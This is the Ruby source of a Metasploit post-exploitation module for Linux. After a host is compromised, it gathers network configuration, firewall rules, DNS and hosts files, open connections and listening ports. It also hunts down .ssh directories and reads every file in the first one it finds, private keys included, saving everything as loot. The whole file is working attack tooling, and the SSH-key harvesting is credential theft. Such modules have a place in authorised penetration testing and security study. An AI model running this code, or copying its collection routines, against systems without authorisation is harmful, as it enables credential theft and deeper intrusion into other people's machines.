140 lines
3.7 KiB
Ruby
140 lines
3.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Post::Linux::Priv
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include Msf::Post::Linux::System
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Linux Gather Network Information',
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'Description' => %q{
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This module gathers network information from the target system
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IPTables rules, interfaces, wireless information, open and listening
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ports, active network connections, DNS information and SSH information.},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'ohdae <bindshell[at]live.com>', # minor additions, modifications & testing
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'Stephen Haywood <averagesecurityguy[at]gmail.com>', # enum_linux
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],
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'Platform' => ['linux'],
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'SessionTypes' => ['shell', 'meterpreter']
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))
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end
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# Run Method for when run command is issued
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def run
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host = get_host
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user = execute("/usr/bin/whoami")
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print_status("Module running as #{user}")
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# Collect data
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distro = get_sysinfo
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print_good("Info:")
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print_good("\t#{distro[:version]}")
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print_good("\t#{distro[:kernel]}")
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print_status("Collecting data...")
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nconfig = execute("/sbin/ifconfig -a")
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routes = execute("/sbin/route -e")
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iptables = execute("/sbin/iptables -L")
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iptables_nat = execute("/sbin/iptables -L -t nat")
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iptables_man = execute("/sbin/iptables -L -t mangle")
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resolv = cat_file("/etc/resolv.conf")
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sshd_conf = cat_file("/etc/ssh/sshd_config")
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hosts = cat_file("/etc/hosts")
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connections = execute("/usr/bin/lsof -nPi")
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wireless = execute("/sbin/iwconfig")
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open_ports = execute("/bin/netstat -tulpn")
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updown = execute("ls -R /etc/network")
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ssh_keys = get_ssh_keys
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# Save Enumerated data
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save("Network config", nconfig)
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save("Route table", routes)
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save("Firewall config", iptables + iptables_nat + iptables_man)
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save("DNS config", resolv)
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save("SSHD config", sshd_conf)
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save("Host file", hosts)
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save("SSH keys", ssh_keys) unless ssh_keys.empty?
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save("Active connections", connections)
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save("Wireless information", wireless)
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save("Listening ports", open_ports)
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save("If-Up/If-Down", updown)
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end
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# Save enumerated data
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def save(msg, data, ctype="text/plain")
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ltype = "linux.enum.network"
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loot = store_loot(ltype, ctype, session, data, nil, msg)
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print_status("#{msg} stored in #{loot.to_s}")
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end
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# Get host name
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def get_host
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case session.type
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when /meterpreter/
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host = sysinfo["Computer"]
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when /shell/
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host = cmd_exec("hostname").chomp
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end
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print_status("Running module against #{host}")
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return host
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end
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def execute(cmd)
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vprint_status("Execute: #{cmd}")
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output = cmd_exec(cmd)
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return output
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end
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def cat_file(filename)
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vprint_status("Download: #{filename}")
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output = read_file(filename)
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return output
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end
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def get_ssh_keys
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keys = []
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#Look for .ssh folder, "~/" might not work everytime
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dirs = execute("/usr/bin/find / -maxdepth 3 -name .ssh").split("\n")
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ssh_base = ''
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dirs.each do |d|
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if d =~ /(^\/)(.*)\.ssh$/
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ssh_base = d
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break
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end
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end
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# We didn't find .ssh :-(
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return [] if ssh_base == ''
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# List all the files under .ssh/
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files = execute("/bin/ls -a #{ssh_base}").chomp.split()
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files.each do |k|
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next if k =~/^(\.+)$/
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this_key = cat_file("#{ssh_base}/#{k}")
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keys << this_key
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end
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return keys
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end
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end
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